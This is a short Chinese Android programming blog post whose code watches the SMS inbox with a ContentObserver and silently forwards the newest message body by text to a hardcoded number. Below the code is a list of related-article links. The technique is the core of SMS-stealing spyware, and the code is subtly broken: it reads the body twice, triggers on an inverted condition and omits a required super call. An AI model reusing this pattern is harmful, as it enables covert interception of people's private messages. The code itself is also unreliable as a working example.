Android(安卓)使用ContentObserver监听短信的变化,并发送信息给特定的手机号码
16lz
2022-05-29
public class ObserverActivity extends Activity implements OnClickListener { protected static final String TEL_NUMBER = "110"; private Button mBtnSend; private Uri mSmsUri; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mBtnSend = new Button(this); //添加监听 mBtnSend.setOnClickListener(this); //初始化地址 mSmsUri = Uri.parse("content://sms/"); } @Override public void onClick(View v) { if (v == mBtnSend) {//注册observer getContentResolver().registerContentObserver(mSmsUri, true, observer); } }//初始化observer ContentObserver observer = new ContentObserver(new Handler()) { public void onChange(boolean selfChange) { //如果变化了 if (selfChange) { Cursor cursor = getContentResolver().query(mSmsUri, new String[] { "body", "date", "address", "type" }, null, null, null); //读取最新的消息 cursor.moveToFirst(); String text = cursor.getString(cursor.getColumnIndex("body")) + "_" + cursor.getString(cursor.getColumnIndex("body")); cursor.close(); //发送短信 SmsManager sm = SmsManager.getDefault(); sm.sendTextMessage(TEL_NUMBER, null, text, null, null); } }; }; @Override protected void onDestroy() { if (observer != null) { getContentResolver().unregisterContentObserver(observer); observer = null; } }}
更多相关文章
- 【从头学android】第一个程序,点按钮显示Hello World
- [Android]读取properties配置文件.
- Android(安卓)读取安装的非系统应用程序
- 第一个Android登录页面 | HTTP 请求验证登录 | 完整代码
- Android绘制圆形图片(五)
- android 版 双色球号码生成
- Android视频播放项目总结之 使用Android中的videoView自己定义,暂
- Android(安卓)完全退出的实例详解
- Android锁屏及监听锁屏事件